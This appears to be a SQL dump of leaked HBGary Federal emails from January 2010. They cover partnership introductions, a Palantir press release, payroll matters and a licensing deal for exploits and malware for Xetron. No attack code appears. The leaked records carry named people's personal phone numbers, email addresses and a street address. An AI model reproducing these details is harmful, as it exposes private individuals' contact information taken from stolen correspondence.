Tue Jan 19 08:11:53 2010\r\n>>>> Subject: Re: Endgames / HB Gary Federal\r\n>>>> \r\n>>>> Can you call me and we can discuss? Thanks\r\n>>>> John\r\n>>>> 7036229025\r\n>>>> John M Farrell\r\n>>>> VP Federal, Endgame Systems\r\n>>>> 703.622.9025 M\r\n>>>> \r\n>>>> ----- Original Message -----\r\n>>>> From: Aaron Barr \r\n>>>> To: John Farrell\r\n>>>> Cc: Chris Rouland\r\n>>>> Sent: Tue Jan 19 06:56:52 2010\r\n>>>> Subject: Re: Endgames / HB Gary Federal\r\n>>>> \r\n>>>> Hi John,\r\n>>>> \r\n>>>> What does your week look like, maybe we can find some time to get\r\n>>>> together.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Jan 14, 2010, at 4:31 PM, Chris Rouland wrote:\r\n>>>> \r\n>>>>> John,\r\n>>>>> \r\n>>>>> I wanted to introduce you to Aaron Barr, the CEO of HBGary\r\n>>>>> Federal.  This is a new company spun out of HB Gary focused on\r\n>>>>> classified government services in our space.  Aaron may have an\r\n>>>>> opportunity to work with us on a Cayman/Corsica data feed for the\r\n>>>>> Army, as well as a few others.  Hopefully you guys can get together\r\n>>>>> face to face soon in DC.\r\n>>>>> \r\n>>>>> Thanks,\r\n>>>>> \r\n>>>>> Chris\r\n>>>>> \r\n>>>>> --\r\n>>>>> Chris Rouland\r\n>>>>> CEO\r\n>>>>> Endgame Systems\r\n>>>>> chris@endgames.us\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> John M Farrell\r\n> VP Federal \r\n> Endgame Systems\r\n> 75 5th Street Suite 208\r\n> Atlanta, GA 30308\r\n> john@endgames.us\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16375,'aaron_hbgary_com/16375.html'),(1342,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000344.M217436P3547Q1342.eml','\"John Farrell\" <john@endgames.us>','Re: Endgames / HB Gary Federal','Completely understand.  Attached is my pub key, or I can get from you on Tuesday.  I am putting this together for Xetron.\r\n\r\nLet me process Cauldron a bit and I will give you a better, more complete answer.  I think there is something there worthwhile, just need to process.\r\n\r\nAaron\r\n\r\n',9332,'aaron_hbgary_com/9332.html'),(1343,'2010-01-21','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000344.M488774P3547Q1343.eml','aaron@hbgary.com','Re: Endgames / HB Gary Federal','What about the screenshots? What do you want here?\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: John Farrell\r\nSent: Thu Jan 21 14:45:10 2010\nSubject: Re: Endgames / HB Gary Federal\r\n\r\nCompletely understand.  Attached is my pub key, or I can get from you on Tuesday.  I am putting this together for Xetron.\r\n\r\nLet me process Cauldron a bit and I will give you a better, more complete answer.  I think there is something there worthwhile, just need to process.\r\n\r\nAaron\r\n\r\n',9965,'aaron_hbgary_com/9965.html'),(1344,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000344.M758912P3547Q1344.eml','\"John Farrell\" <john@endgames.us>','Re: Endgames / HB Gary Federal','I can take screenshots from the paper, no problem.\r\n\r\nHow did your meeting with Chris go?  They ought to like your stuff.  As I mentioned, he manages JFCC-NW and JTF-GNO contracts for cybersecurity operations, both of which are being consumed by CYBER COMMAND.  Chris is nearly all defense.  They need help in the innovation side, so anything you can do to help that.  All IO work, including 1st IO contract is under a different OU Director, Dale Graham.  I can introduce you if you want also the sister IC agency, that work falls under another OU Director Joseph Nicholas.  He runs on the side of the fence that your stuff is immediately geared for.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 21, 2010, at 3:47 PM, John Farrell wrote:\r\n\r\n> What about the screenshots? What do you want here?\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: John Farrell\r\n> Sent: Thu Jan 21 14:45:10 2010\r\n> Subject: Re: Endgames / HB Gary Federal\r\n> \r\n> Completely understand.  Attached is my pub key, or I can get from you on Tuesday.  I am putting this together for Xetron.\r\n> \r\n> Let me process Cauldron a bit and I will give you a better, more complete answer.  I think there is something there worthwhile, just need to process.\r\n> \r\n> Aaron\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16128,'aaron_hbgary_com/16128.html'),(1345,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000354.M274471P3547Q1345.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Slides I am working on','Does any of this work?\r\n\r\n',9002,'aaron_hbgary_com/9002.html'),(1346,'2010-01-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000354.M819438P3547Q1346.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Operating Agreement','FYI -Begin forwarded message:From: \" Penny Hoglund\" &lt;penny@hbgary.com&gt;Date: January 21, 2010 1:57:57 PM MSTTo: \"\'Ted Vera\'\" &lt;ted@hbgary.com&gt;Subject: RE: Operating AgreementJohn just reviewed it and had two comments I sent to Angela, but I thinkthey are OK as is the wording (you know attorney\'s auger on the words)-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Thursday, January 21, 2010 10:56 AMTo: Penny LeavySubject: Re: Operating AgreementHi Penny,I hate to be a pest. &nbsp;Do you think we\'ll get the operating agreement /bank acct. squared away by next week? &nbsp;Reason I ask is that we haven\'treceived our paycheck from 1/15, and I have all my bills set up onautomatic bill pay through my bank. &nbsp;I just went through each bill andmoved the payment date from the 22nd to the 29th.On a different topic, Karen sent us her billing info ($100/hr)directly. &nbsp;I\'m working with John to refine our costs so we can have anaccurate overhead rate / fully burdened rates.TedOn Wed, Jan 20, 2010 at 3:09 PM, Penny Leavy &lt;penny@hbgary.com&gt; wrote:got it and john reviewing power out last night in bay area with 90mile per hour windsOn Wed, Jan 20, 2010 at 9:26 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Any word from Angela yet on the operating agreement?Ted--Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623--Penny C. LeavyHBGary, Inc.-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',15689,'aaron_hbgary_com/15689.html'),(1347,'2010-01-21','\"Lisa Gordon\" <lgordon@palantirtech.com>','/aaron@hbgary.com/new/1297000362.M12490P3547Q1347.eml','aaron@hbgary.com,aaron@hbgary.com','Press Release','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nMatt asked that I forward you this press release which has now\r\nbeen approved on our end.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nLisa\r\n\r\n&nbsp;\r\n\r\n________________________________________________\r\n\r\nLisa Gordon\r\nPalantir Technologies |\r\nMedia Relations\r\nlgordon@palantirtech.com | 650-814-6584\r\n________________________________________________\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12330,'aaron_hbgary_com/12330.html'),(1348,'2010-01-21','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000362.M302592P3547Q1348.eml','aaron@hbgary.com,aaron@hbgary.com','Federal Computer Week Article Published -- HBGary Federal Quoted','Hi Aaron, Federal Computer Week John Moore has published his article on enduser security trianing; you are quoted in the piece. The article is slated for the Jan. 25th print edition, but the online version of the article is available now. \r\n&nbsp;\r\nPlease see link for the piece: http://fcw.com/articles/2010/01/25/feat-cybersecurity-training-a-must.aspx\r\n&nbsp;\r\nIt may be part of a larger article -- we can review&nbsp;the print issue of the magazine when it becomes available on Monday.\r\n&nbsp;\r\nThanks again for participating in the interview.\r\n&nbsp;\r\nBest, Karen&nbsp;&nbsp;\r\n\r\n',11628,'aaron_hbgary_com/11628.html'),(1349,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000362.M555706P3547Q1349.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Fwd: Press Release','Palantir quote included.From my iPhoneBegin forwarded message:From: Lisa Gordon &lt;lgordon@palantirtech.com&gt;\r\nDate: January 21, 2010 4:16:38 PM ESTTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;Cc: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nSubject: Press Release\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nMatt asked that I forward you this press release which has now\r\nbeen approved on our end.  \r\n\r\n \r\n\r\nThanks,\r\n\r\nLisa\r\n\r\n \r\n\r\n________________________________________________\r\n\r\nLisa Gordon\r\nPalantir Technologies |\r\nMedia Relations\r\nlgordon@palantirtech.com | 650-814-6584\r\n________________________________________________\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5899,'aaron_hbgary_com/5899.html'),(1350,'2010-01-21','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000362.M807168P3547Q1350.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: Press Release','Great Aaron -- looks good. Just to confirm --&nbsp; is this a HBGary Federal announcement or a joint HBGary Federal-Palantir announcement?&nbsp; I noticed that Palatir\'s boilerplate was added. If not a joint announcement, will Palantir be putting out its own announcement?&nbsp;Best, Karen\r\n--- On Thu, 1/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: Press ReleaseTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, January 21, 2010, 1:49 PM\r\n\r\nPalantir quote included.From my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Lisa Gordon &lt;lgordon@palantirtech.com&gt;Date: January 21, 2010 4:16:38 PM ESTTo: \"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;Cc: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Subject: Press Release\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n&nbsp;\r\nMatt asked that I forward you this press release which has now been approved on our end.&nbsp; \r\n&nbsp;\r\nThanks,\r\nLisa\r\n&nbsp;\r\n________________________________________________\r\nLisa GordonPalantir Technologies | Media Relationslgordon@palantirtech.com | 650-814-6584________________________________________________\r\n&nbsp;\r\n\r\n\r\n\r\n    ',5925,'aaron_hbgary_com/5925.html'),(1351,'2010-01-21','\"Bill Hornish\" <bhornish@splunk.com>','/aaron@hbgary.com/new/1297000362.M997781P3547Q1351.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: virtual introduction','\r\n\r\nRe: virtual introduction\r\n\r\n\r\nSure. Let&#8217;s do a quick call around 10 tomorrow ? \r\n \r\nBill Hornish,\r\nFederal Business Development Manager\r\n\r\nsplunk &gt; \r\n(O) 202-248-3456\r\n(C) 202-251-4670\r\nbhornish@splunk.com\r\nwww.splunk.com\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 21 Jan 2010 05:42:12 -0800\r\nTo: Bill Hornish &lt;bhornish@splunk.com&gt;\r\nSubject: Re: virtual introduction\r\n\r\nThanks Bill,\r\n\r\nI would very much like to get together and discuss a few ideas with you. &nbsp;I am free most of the rest of the week or we can work on a time for next week.\r\n\r\nAaron\r\n\r\nOn Jan 20, 2010, at 5:28 PM, Bill Hornish wrote:\r\n\r\n\r\nHi Aaron,\r\n\r\nThanks for the intro email John. HB Gary looks like a very cool company. I saw you downloaded already. Joshua Hritz and I are with Splunk&#8217;s Federal Business Development team. &nbsp;I&#8217;m happy to tell you all about my personal experience as the PM of Network Monitoring and CIRT at the State Department for Mantech as an early adopter of Splunk. Joshua is working with engineers from HB Gary who have shown interest in Splunk already, and would work with you on partnership, etc.\r\n\r\nA little background on Splunk ? &nbsp;Splunk has been growing in the Federal Government since 2006. We have over 1,500 customers globally, and over 75% of the Federal Agencies are using Splunk. &nbsp;&nbsp;Splunk is software that revolutionizes how enterprises manage, secure and audit their IT data. &nbsp;It provides a way to quickly and efficiently process vast amounts of unstructured IT data intelligently, in order to deliver useful results. Splunk makes all organization&#8217;s IT data available for a variety of functions from Application Management, Security, Compliance and to Operations Management. &nbsp;Splunk&#8217;s software solution can rapidly scale to terabytes of data per day. \r\n\r\nWe look forward to hearing from you.\r\n\r\nThank you,\r\n\r\nBill Hornish,\r\nFederal Business Development Manager\r\n\r\nsplunk &gt; \r\n(O) 202-248-3456\r\n(C) 202-251-4670\r\nbhornish@splunk.com &lt;x-msg://363/bhornish@splunk.com&gt; \r\nwww.splunk.com &lt;http://www.splunk.com&gt; \r\n\r\nFrom: John Farrell &lt;john@endgames.us &lt;x-msg://363/john@endgames.us&gt; &gt;\r\nDate: Wed, 20 Jan 2010 12:38:28 -0800\r\nTo: Aaron Barr &lt;aaron@hbgary.com &lt;x-msg://363/aaron@hbgary.com&gt; &gt;, Bill Hornish &lt;bhornish@splunk.com &lt;x-msg://363/bhornish@splunk.com&gt; &gt;\r\nSubject: virtual introduction\r\n\r\nAaron, Bill, \r\n\r\nAs a follow up to yesterday\'s meeting and calls, I would like to introduce you two and encourage you to get together soon. I\'ve worked with Bill for several years in his capacity with Mantech. He can explain Splunk and how it could support HB Gary Federal\'s business strategy. Additionally, his experience at Mantech may provide you with additional insight into ways you can partner with them too. You two can work out the details directly. Let me know how else I can assist. Talk with you soon. \r\n\r\nJohn\r\n\r\nJohn M. Farrell\r\nVice President, Federal\r\njohn@endgames.us &lt;x-msg://363/john@endgames.us&gt; \r\n703.622.9025\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11985,'aaron_hbgary_com/11985.html'),(1352,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000363.M222908P3547Q1352.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Press Release','Joint.  Palantir will not be putting out a separate announcent.  I will send a few little changes tonight but mostly wordsmithing.  One I want to change risk to threat.\r\nI already talked to Greg about this.AaronFrom my iPhoneOn Jan 21, 2010, at 5:08 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nGreat Aaron -- looks good. Just to confirm --  is this a HBGary Federal announcement or a joint HBGary Federal-Palantir announcement?  I noticed that Palatir&#39;s boilerplate was added. If not a joint announcement, will Palantir be putting out its own announcement? Best, Karen\r\n\r\n--- On Thu, 1/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: Press ReleaseTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Thursday, January 21, 2010, 1:49 PM\r\n\r\nPalantir quote included.From my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Lisa Gordon &lt;lgordon@palantirtech.com&gt;\r\nDate: January 21, 2010 4:16:38 PM ESTTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;\r\nCc: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nSubject: Press Release\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n \r\nMatt asked that I forward you this press release which has now been approved on our end.  \r\n \r\nThanks,\r\nLisa\r\n \r\n________________________________________________\r\nLisa GordonPalantir Technologies | Media Relations\r\nlgordon@palantirtech.com | 650-814-6584\r\n________________________________________________\r\n \r\n\r\n\r\n\r\n      \r\n',4192,'aaron_hbgary_com/4192.html'),(1353,'2010-01-21','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000363.M457859P3547Q1353.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Press Release','Great -- thanks Aaron!--- On Thu, 1/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Press ReleaseTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, January 21, 2010, 2:21 PM\r\n\r\nJoint. &nbsp;Palantir will not be putting out a separate announcent. &nbsp;I will send a few little changes tonight but mostly wordsmithing. &nbsp;One I want to change risk to threat.\r\n\r\nI already talked to Greg about this.\r\n\r\nAaronFrom my iPhone\r\nOn Jan 21, 2010, at 5:08 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat Aaron -- looks good. Just to confirm --&nbsp; is this a HBGary Federal announcement or a joint HBGary Federal-Palantir announcement?&nbsp; I noticed that Palatir\'s boilerplate was added. If not a joint announcement, will Palantir be putting out its own announcement?&nbsp;Best, Karen\r\n--- On Thu, 1/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: Press ReleaseTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, January 21, 2010, 1:49 PM\r\n\r\nPalantir quote included.From my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Lisa Gordon &lt;lgordon@palantirtech.com&gt;Date: January 21, 2010 4:16:38 PM ESTTo: \"aaron@hbgary.com\" &lt;aaron@hbgary.com&gt;Cc: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Subject: Press Release\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n&nbsp;\r\nMatt asked that I forward you this press release which has now been approved on our end.&nbsp; \r\n&nbsp; \r\nThanks, \r\nLisa \r\n&nbsp; \r\n________________________________________________ \r\nLisa GordonPalantir Technologies | Media Relationslgordon@palantirtech.com | 650-814-6584________________________________________________ \r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n',12772,'aaron_hbgary_com/12772.html'),(1354,'2010-01-21','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297000363.M706444P3547Q1354.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Services contract for commercial IR services','Aaron,How does 11 on Tuesday look for you? Where are you at most of the time? Would coffee at Cosi in the Reston Town Center be easy?Thanks,NolanSent via BlackBerry by AT&TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 21 Jan 2010 08:48:18 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesNolan,Ted is out in the Springs, but how about we meet next week. &nbsp;Any days better than others?AaronOn Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n\r\nThanks Maria.\r\n&nbsp;\r\nAaron and Ted - I could link up in person next week if you \r\nguys are interested.\r\n&nbsp;\r\nBest,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:51 PMTo: Aaron Barr; \r\nTed@hbgary.comCc: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\n\r\nAaron / Ted\r\n&nbsp;\r\nI spoke today with Nolan Clifford.&nbsp; He may&nbsp;be helpful&nbsp;with \r\nthe contract terms for IR Services.&nbsp; Nolan has an NDA with HBGary.\r\n&nbsp;\r\nNolan is available later this week or next to meet or speak with on the \r\nphone:\r\n&nbsp;\r\nYou may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting your \r\ncall.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nNolan Clifford Bio\r\nCEO of Information Security Solutions LLC, providing a full \r\nrange of security consulting services to US Federal, Global Public Sector and \r\nCommercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\nPrivacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\nWashington Federal Practice. Former Director of Information Assurance, General \r\nDynamics Network Systems, National and Defense Intelligence Solutions and former \r\nDirector of the Federal Security Practice at Unisys Corporation. Information \r\nWarfare Officer for the Naval Reserve Network Warfare Command. Former active \r\nduty Naval Cryptology Officer. CISSP. \r\n&nbsp;-- Maria Lucas, CISSP | Account Executive | \r\nHBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 \r\nFax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',11003,'aaron_hbgary_com/11003.html'),(1355,'2010-01-22','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000365.M449435P3547Q1356.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Federal Computer Week Article Published -- HBGary Federal Quoted','HI Aaron, Alas, I can\'t open this file. Can you please resend or paste the release&nbsp;in below? Thanks so much. Best, Karen&nbsp;--- On Thu, 1/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Article Published -- HBGary Federal QuotedTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Thursday, January 21, 2010, 3:56 PM\r\nok here you go.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 21, 2010, at 4:44 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Federal Computer Week John Moore has published his article on enduser security trianing; you are quoted in the piece. The article is slated for the Jan. 25th print edition, but the online version of the article is available now. \r\n&nbsp;\r\nPlease see link for the piece: http://fcw.com/articles/2010/01/25/feat-cybersecurity-training-a-must.aspx\r\n&nbsp;\r\nIt may be part of a larger article -- we can review&nbsp;the print issue of the magazine when it becomes available on Monday.\r\n&nbsp;\r\nThanks again for participating in the interview.\r\n&nbsp;\r\nBest, Karen&nbsp;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',1817,'aaron_hbgary_com/1817.html'),(1356,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000365.M672142P3547Q1357.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Federal Computer Week Article Published -- HBGary Federal Quoted','Washington, D.C., January xx, 2010, Today HBGary Federal, a leading provider of expert classified cybersecurity services to the Department of Defense, Intelligence Community and other U.S. government agencies, announced a new partnership with Palantir Technologies. Together, HBGary Federal and Palantir will provide enhanced threat intelligence, including the origin of today’s global cybersecurity threats, so the federal government can better protect our national cyber infrastructure.&nbsp; \r\n\"It is our vision to bring together the best cyber intelligence and analysis technologies with some of the brightest malware and threat intelligence analysts and develop a cooperative capability that can make significant contributions to the national capabilities in threat intelligence and attribution,” said Aaron Barr, CEO of HBGary Federal.&nbsp;“Palantir is well-respected in the government market and is a natural partner for us.”\r\nEvery day thousands of malware variants attack and infiltrate our national cyber infrastructure. As a result, the federal government is looking for the necessary threat intelligence to determine which threats pose the most danger and plan the right courses of action for mission assurance.&nbsp; By leveraging HBGary’s advanced malware analysis technologies and Palantir’s leading analysis toolsuite, HBGary Federal’s trained threat and malware analysts can better organize and analyze malware and threat data to provide more granular threat intelligence to its government customers.“Our customers have found it difficult to integrate all their disparate network information along with contextual information to detect and block advanced attacks,” said Shreyas Vijaykumar, Palantir’s Cyber Security Lead.&nbsp; “Palantir’s ability to integrate this data coupled with HBGary’s renowned forensics capability presents a compelling cybersecurity solution to government and private sector customers.&nbsp; We look forward to working closely with our partners at HBGary Federal in this critical security domain.”&nbsp;About HBGary Federal&nbsp;HBGary Federal was founded in 2009 by former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera.&nbsp;HBGary Federal is focused on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. HBGary Federal has offices in Washington D.C. and Colorado Springs offices, respectively.&nbsp; For more information on HBGary Federal, please visit http://www.hbgary.com.&nbsp;About PalantirThe company’s two products, Palantir Government and Palantir Finance, are platforms that encompass the entire analysis stack, including data integration, search &amp; discovery, knowledge management, and collaboration across the enterprise.&nbsp; The platforms support many kinds of data including structured, unstructured, relational, temporal, and geospatial,.&nbsp; Palantir’s products are core components of any organization’s intelligence infrastructure built for real-time analysis with a focus on security, scalability, ease of use, and collaboration.Palantir is headquartered in Palo Alto, CA with offices in Tyson’s Corner, VA.On Jan 21, 2010, at 7:10 PM, Karen Burke wrote:HI Aaron, Alas, I can\'t open this file. Can you please resend or paste the release&nbsp;in below? Thanks so much. Best, Karen&nbsp;--- On Thu, 1/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Article Published -- HBGary Federal QuotedTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Thursday, January 21, 2010, 3:56 PM\r\nok here you go.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 21, 2010, at 4:44 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Federal Computer Week John Moore has published his article on enduser security trianing; you are quoted in the piece. The article is slated for the Jan. 25th print edition, but the online version of the article is available now. \r\n&nbsp;\r\nPlease see link for the piece: http://fcw.com/articles/2010/01/25/feat-cybersecurity-training-a-must.aspx\r\n&nbsp;\r\nIt may be part of a larger article -- we can review&nbsp;the print issue of the magazine when it becomes available on Monday.\r\n&nbsp;\r\nThanks again for participating in the interview.\r\n&nbsp;\r\nBest, Karen&nbsp;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9145,'aaron_hbgary_com/9145.html'),(1357,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000365.M856101P3547Q1358.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: Need agreement(s) between HBGary, HBGary Fed and Xetron','Brian,\r\n\r\nhere is some of the language that Penny sent me for the malware.  Some of this may already be covered under the NDA we already have.  What do you think?  As soon as I can resolve this I can get the exploits to you.  Also have some malware coming your way.\r\n\r\nBegin forwarded message:\r\n\r\n> We need an agreement from Xetron, they should have a source code\r\n> agreement.   General counsel will probably want to have them sign\r\n> their paperwork..  Terms of deal\r\n> \r\n> 1.  WE will provide object code and source code for this specific Juicy Fruit.\r\n> \r\n> 2.  They can not sell this code without providing HBGary with a\r\n> royalty (bob, please provide a price)\r\n> \r\n> 3,.  We own ALL rights to software Any deriratives, all original or\r\n> modified source code belongs to HBGary until there is a purchase.\r\n> \r\n> 4.  No source code can leave Xetron, they must maintain control of\r\n> this at all times\r\n> \r\n> 5.  All modifications need to be done by Xetron, not HBGary, which is\r\n> why we are providing source.\r\n> \r\n> \r\n> IF they want a contract with HBGary Federal that is fine, we just need\r\n> to have one between us and Fed\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9635,'aaron_hbgary_com/9635.html'),(1358,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000365.M92057P3547Q1355.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Federal Computer Week Article Published -- HBGary Federal Quoted','ok here you go.\r\n\r\n\r\n\r\n\r\nOn Jan 21, 2010, at 4:44 PM, Karen Burke wrote:\r\n\r\n> Hi Aaron, Federal Computer Week John Moore has published his article on enduser security trianing; you are quoted in the piece. The article is slated for the Jan. 25th print edition, but the online version of the article is available now.\r\n>  \r\n> Please see link for the piece: http://fcw.com/articles/2010/01/25/feat-cybersecurity-training-a-must.aspx\r\n>  \r\n> It may be part of a larger article -- we can review the print issue of the magazine when it becomes available on Monday.\r\n>  \r\n> Thanks again for participating in the interview.\r\n>  \r\n> Best, Karen  \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11883,'aaron_hbgary_com/11883.html'),(1359,'2010-01-22','\"andy kemp\" <akemp@apple.com>','/aaron@hbgary.com/new/1297000366.M164484P3547Q1359.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Apple Intro','just let me know when you are reinstated.\r\n\r\nRegards,\r\n\r\nak\r\n\r\nOn Jan 21, 2010, at 8:58 AM, Aaron Barr 